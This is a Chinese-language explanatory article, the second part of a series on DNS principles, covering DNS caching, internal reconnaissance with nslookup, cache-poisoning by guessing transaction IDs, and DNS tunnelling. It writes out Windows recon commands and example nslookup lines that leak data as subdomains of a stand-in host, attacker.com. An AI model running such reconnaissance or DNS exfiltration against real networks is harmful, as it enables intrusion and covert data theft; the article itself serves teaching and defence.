DNS系统原理及漏洞利用分析(下)

安全 网站安全
DNS技术已存在了很长时间,互联网上的每台计算机都依赖它。然而,利用DNS进行内网探测、劫持流量并创建隐蔽信道窃取数据,都是DNS服务可能造成的安全问题。

接上篇《DNS系统原理及漏洞利用分析(上)

四、DNS缓存

如果每次有任何用户试图访问www.dingxinsec.com.cn,都必须向权限域名服务器发起对该域名的查询请求,将会产生大量的网络流量!因此,为了使计算机不用在每一次访问某个域名时都向DNS服务器发起IP查询请求,计算机上通常会存储一个自身的域名-IP映射库,这个映射库被称为“DNS缓存”。

  • 加快DNS请求响应速度
  • 减少DNS请求在互联网上占用的带宽

但是,DNS缓存方法也存在一些问题,包括:

  • DNS信息的变化需要一定的时间才能传播开——这意味着,所有DNS服务器都将其缓存更新为最新的IP数据之前,往往需要一段时间
  • 攻击者可能利用DNS缓存发起攻击

DNS缓存有以下几种不同的类型:

  • 浏览器DNS缓存:目前大多数浏览器均内置了DNS缓存功能,使用本地缓存方式实现DNS解析通常快速且高效。
  • 操作系统(OS)DNS缓存:目前,大多数用户计算机操作系统均具备DNS客户端,可用于管理DNS解析和请求。此类DNS缓存也是本地化的,因此速度快且无需占用带宽。
  • 递归解析DNS缓存:每个DNS递归服务器中都有DNS缓存,用于存储可向其发起下一步请求的IP。
  • [[261205]]

五、DNS常见漏洞

  • 用户内部DNS服务器会存储用户网络域中所有服务器的内部域名与IP,并能够在无需身份认证的情况下实施访问。这使得DNS成为攻击者在内网探测阶段的重要信息来源。
  • DNS缓存信息并非一定与权限域名服务器一致,攻击者有可能篡改DNS缓存,如果用户内网的DNS服务器被攻击篡改,则使用该DNS服务器发起域名访问的计算机就会被诱骗到错误的服务器。
  • DNS服务器可能将内网的域名查询从内网工作站递归转发至外网服务器,攻击者可能利用此行为创建内外网之间的“隐通道”来泄露内网数据。

1. 利用DNS实施探测

一旦攻击者穿透防火墙进入用户内网并控制某台计算机,就可以利用内网的DNS服务查找重要的服务器信息,如邮件服务器、域名服务器等各类有价值的信息。如果攻击者具备足够的技术能力,甚至可能利用内部DNS服务器批量发送用户网络中区的信息,此类攻击被称为“DNS区传输攻击”。

以下给出了在Windows操作系统环境中实现该攻击的流程:

  • 打开命令提示符(ctrl+ esc ➡️输入字母“cmd” ➡️回车)
  • 输入“ipconfig”,将看到当前计算机所在的域名、IP地址以及许多其他信息(后续命令中将会使用)
  • 键入“nslookup[IP]”,将看到正在响应请求的DNS服务器名称,如果名称已知,则会显示列出名称和IP地址的DNS记录
  • 键入“nslookup-type=soa [当前计算机所在域名]”, 执行此命令将返回当前计算机的权限DNS服务器,如果您尝试渗透网络,则不会很方便。
  • 键入“nslookup-type=MX [当前计算机所在域名]”,通过执行该命令,攻击者可以准确获知网内邮件服务器的IP信息。

2. 利用DNS实施流量重定向

当用户尝试浏览到某个网站时,他们的计算机会在DNS服务器中查询该网站的IP。如果DNS服务器中存有该记录的缓存,则将直接返回该IP。如果没有,它会查询“上游”DNS服务器,并将结果中继给最终用户,同时缓存该信息以供下次使用。

在目前已知的攻击中,攻击者已经能够伪造DNS响应信息,使其看起来像是来自合法的DNS服务器。要达到这一目标,攻击者可以利用DNS的三个弱点:

  • DNS对来自上游服务器的响应仅执行非常弱的认证。响应信息只需包含正确的事务ID(一个16位二进制数字(0-65536))。事实证明,要猜出正确的事务ID,技术难度并不大。
  • DNS服务器接受同时响应多个查询请求,因此攻击者能够同时对事务ID实施多次猜测(与暴力破解密码思路类似)。
  • DNS使用的IP连接很容易被伪造。这意味着攻击者可以从一台计算机向DNS服务器发送流量,使其看起来像来自另一台计算机,例如另一台真实有效的DNS服务器。容易被伪造的IP连接类型并不多,不幸的是,DNS恰好是其中之一。

一旦攻击者成功伪造了DNS响应消息,则其可以实现篡改接收端DNS服务器的缓存。以下就以一个典型的场景说明这一攻击行为可能造成的严重后果:

假设攻击者了解到用户单位使用外部应用程序来处理经费等重要事务。如果攻击者篡改了用户单位DNS服务器的相关记录,则能够将用户诱骗至攻击者伪造的服务器,诱骗用户在攻击者伪造的登陆页面上录入其账号及口令信息。

更有耐心的攻击者还可能将真实流量转发给真实的服务器(充当“中间人”),因此用户就不会发现攻击正在发生。获取用户的身份信息后,攻击者可以在其他相关系统上尝试使用这些身份信息,或者直接出售这些信息。

3. 利用DNS构建隐通道

假设攻击者已经设法进入了用户单位网络,控制了一台内网计算机,并且已经找到了其想要窃取的关键数据。如何在不留任何痕迹的情况下将数据传输到网外?攻击者可能使用一种被称为“DNS隧道”的技术来实现。通常的做法如下:

(1)攻击者在互联网上设置一个DNS域(如attacker.com),并创建一个权限域名服务器

(2)在被攻击者控制的主机上,攻击者可以将数据分解为小段并将其插入到一系列DNS查询中,如下所示:

  • nslookup My1secret1.attacker.com
  • nslookup is1that1I1know.attacker.com
  • nsllookup your1data.attacker.com

(3)用户单位的DNS服务器将接收这些请求,并将这些请求转发回attacker.com的权限域名服务器。攻击者在其权限域名服务器接收到上述流量后,则可以运行程序以提取查询信息的第一部分(.attacker.com前的内容)并将其重新组合,从而将用户网内的数据不留痕迹地传输到网外(此例中传输的数据是“My secret is that I know your data.”)。而用户单位可能永远不会意识到他们的DNS服务器被用于泄露自身的数据。

六、小结

DNS技术已存在了很长时间,互联网上的每台计算机都依赖它。然而,利用DNS进行内网探测、劫持流量并创建隐蔽信道窃取数据,都是DNS服务可能造成的安全问题。幸运的是,通过监控DNS服务器并应用安全数据分析,目前已有大量技术可以检测并阻止这些攻击。

 

责任编辑:赵宁宁 来源: 鼎信信息安全测评
相关推荐

2019-02-26 15:15:16

DNS漏洞IP

2016-09-29 14:37:39

ImageMagick漏洞分析

2011-06-16 13:37:43

2009-07-06 17:47:44

2017-12-11 17:10:24

2023-07-26 17:13:38

2013-03-22 10:00:14

2021-02-10 09:33:39

漏洞

2020-10-14 09:44:52

漏洞

2017-08-22 13:45:27

2015-03-06 17:02:51

2017-11-08 10:20:10

2021-08-09 11:15:28

MybatisJavaSpring

2021-11-25 10:36:04

DNS命令Linux

2011-06-16 13:14:18

2016-05-17 09:42:16

2020-10-28 14:58:21

漏洞uTorrent协议层

2009-12-25 11:04:31

Fedora DNS

2023-11-06 18:37:23

虚拟线程编写

2011-03-22 12:58:16

点赞
收藏

51CTO技术栈公众号